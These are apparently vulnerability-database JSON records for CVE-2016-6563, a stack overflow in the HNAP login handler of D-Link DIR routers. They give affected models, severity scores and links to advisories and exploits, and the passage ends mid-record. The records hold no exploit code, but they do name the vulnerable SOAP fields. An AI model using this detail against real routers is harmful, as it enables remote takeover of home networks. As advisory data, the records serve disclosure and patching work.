{
  "affected": [
    {
      "affectedData": [
        {
          "product": "DIR-823",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-822",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-818L(W)",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-895L",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-890L",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-885L",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-880L",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-868L",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        },
        {
          "product": "DIR-850L",
          "vendor": "D-Link",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        }
      ],
      "source": "cret@cert.org"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-823_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "BCC02FC3-0BB2-41B4-9EDD-65AC1CE9AB5B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-823:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "EC426833-BEA7-4029-BBBB-94688EE801BC",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-822_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "10F0B001-DEDD-4B68-A63D-F68A8BAF9C1D",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-822:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "B3894F0E-37F8-4A89-87AC-1DB524D4AE04",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-818l\\(w\\)_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "4312D87E-181E-423A-90A1-C6F16AD58458",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-818l\\(w\\):-:*:*:*:*:*:*:*",
              "matchCriteriaId": "3A208284-D9A8-4B97-A975-E7AF0D7110A0",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-895l_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "2E62F905-D226-463C-8BA9-201E8B0165FD",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-895l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "0B9EBC5D-43DE-4B26-8272-5A9AD2ECE2E2",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-890l_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "0BCCA2BB-4577-402C-88B5-F8E10770CA35",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-890l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "B1EA89C7-4655-43A3-9D2B-D57640D56C09",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-885l_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "3441E49F-C21B-4B68-89AD-BD46E8D88638",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-885l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "AD481B64-A25D-4123-B575-20EC3C524D9C",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-880l_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "52A89607-6CBB-4197-AF08-8A52FA73F703",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-880l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "CC772491-6371-4712-B358-E74D9C5062FD",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-868l_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "26512943-D705-484D-B9EA-BF401606DFA3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-868l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "33B501D4-BDDD-485E-A5A3-8AA8D5E46061",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dir-850l_firmware:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "E72B76AE-8D5C-4FAD-A7FC-303CB0670C98",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dir-850l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "607DDB44-0E4E-4606-8909-B624345688D4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L."
    },
    {
      "lang": "es",
      "value": "El procesamiento de mensajes SOAP mal formados al realizar la acci\u00f3n de inicio de sesi\u00f3n HNAP provoca un desbordamiento de b\u00fafer en la pila en algunos routers D-Link DIR. Los campos XML vulnerables en el cuerpo SOAP son: Action, Username, LoginPassword y Captcha. Los siguientes productos se han visto afectados: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L y DIR-850L."
    }
  ],
  "id": "CVE-2016-6563",
  "lastModified": "2026-06-17T00:51:23.423",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 10.0,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV30": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.0"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2018-07-13T20:29:01.003",
  "references": [
    {
      "source": "cret@cert.org",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2016/Nov/38"
    },
    {
      "source": "cret@cert.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/94130"
    },
    {
      "source": "cret@cert.org",
      "tags": [
        "Exploit",
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://www.exploit-db.com/exploits/40805/"
    },
    {
      "source": "cret@cert.org",
      "tags": [
        "Third Party Advisory",
        "US Government Resource"
      ],
      "url": "https://www.kb.cert.org/vuls/id/677427"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2016/Nov/38"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/94130"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://www.exploit-db.com/exploits/40805/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "US Government Resource"
      ],
      "url": "https://www.kb.cert.org/vuls/id/677427"
    }
  ],
  "sourceIdentifier": "cret@cert.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-121"
        }
      ],
      "source": "cret@cert.org",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-119"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-6563"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-13T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L.",
  "id": "GHSA-2237-8cw9-xj7q",
  "modified": "2022-05-13T01:38:44Z",
  "published": "2022-05-13T01:38:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6563"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/40805"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/677427"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2016/Nov/38"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94130"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "GSD": {
    "alias": "CVE-2016-6563",
    "description": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L.",
    "id": "GSD-2016-6563",
    "references": [
      "https://packetstormsecurity.com/files/cve/CVE-2016-6563"
    ]
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2016-6563"
      ],
      "details": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L.",
      "id": "GSD-2016-6563",
      "modified": "2023-12-13T01:21:22.939018Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "cert@cert.org",
        "ID": "CVE-2016-6563",
        "STATE": "PUBLIC",
        "TITLE": "D-Link DIR routers contain a stack-based buffer overflow in the HNAP Login action"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "DIR-823",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-822",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-818L(W)",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-895L",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-890L",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-885L",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-880L",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-868L",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "DIR-850L",
                    "version": {
                      "version_data": [
                        {
                          "affected": "?",
                          "version_value": "N/A"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "D-Link"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L."
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "CWE-121"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "40805",
            "refsource": "EXPLOIT-DB",
            "url": "https://www.exploit-db.com/exploits/40805/"
          },
          {
            "name": "VU#677427",
            "refsource": "CERT-VN",
            "url": "https://www.kb.cert.org/vuls/id/677427"
          },
          {
            "name": "94130",
            "refsource": "BID",
            "url": "http://www.securityfocus.com/bid/94130"
          },
          {
            "name": "20161107 [CVE-2016-6563 / VU#677427]: Dlink DIR routers HNAP Login stack buffer overflow",
            "refsource": "FULLDISC",
            "url": "http://seclists.org/fulldisclosure/2016/Nov/38"
          }
        ]
      },
      "source": {
        "discovery": "UNKNOWN"
      }
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-823_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-823:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-822_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-822:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-818l\\(w\\)_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-818l\\(w\\):-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-895l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-895l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-890l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-890l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-885l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-885l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-880l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-880l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-868l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-868l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-850l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-850l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "cert@cert.org",
          "ID": "CVE-2016-6563"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-119"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "VU#677427",
              "refsource": "CERT-VN",
              "tags": [
                "Third Party Advisory",
                "US Government Resource"
              ],
              "url": "https://www.kb.cert.org/vuls/id/677427"
            },
            {
              "name": "20161107 [CVE-2016-6563 / VU#677427]: Dlink DIR routers HNAP Login stack buffer overflow",
              "refsource": "FULLDISC",
              "tags": [
                "Exploit",
                "Mailing List",
                "Third Party Advisory"
              ],
              "url": "http://seclists.org/fulldisclosure/2016/Nov/38"
            },
            {
              "name": "40805",
              "refsource": "EXPLOIT-DB",
              "tags": [
                "Exploit",
                "Third Party Advisory",
                "VDB Entry"
              ],
              "url": "https://www.exploit-db.com/exploits/40805/"
            },
            {
              "name": "94130",
              "refsource": "BID",
              "tags": [
                "Third Party Advisory",
                "VDB Entry"
              ],
              "url": "http://www.securityfocus.com/bid/94130"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "cvssV2": {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "integrityImpact": "COMPLETE",
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          "exploitabilityScore": 10.0,
          "impactScore": 10.0,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "HIGH",
          "userInteractionRequired": false
        },
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          },
          "exploitabilityScore": 3.9,
          "impactScore": 5.9
        }
      },
      "lastModifiedDate": "2019-10-09T23:19Z",
      "publishedDate": "2018-07-13T20:29Z"
    }
  }
}

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201807-0057",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "dir-880l",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-868l",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-850l",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-885l",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-818l\\",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-890l",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-895l",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-822",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-823",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "dlink",
        "version": null
      },
      {
        "model": "dir-822",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-850l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-859",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-868l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-869",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-879",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-880l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-885l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-890l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-895l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dir-895l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-890l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-885l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-880l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-868l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-823",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-822",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      },
      {
        "model": "dir-818l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "dlink",
        "version": "0"
      }
    ],
    "sources": [
      {
        "db": "BID",
        "id": "94130"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "db": "NVD",
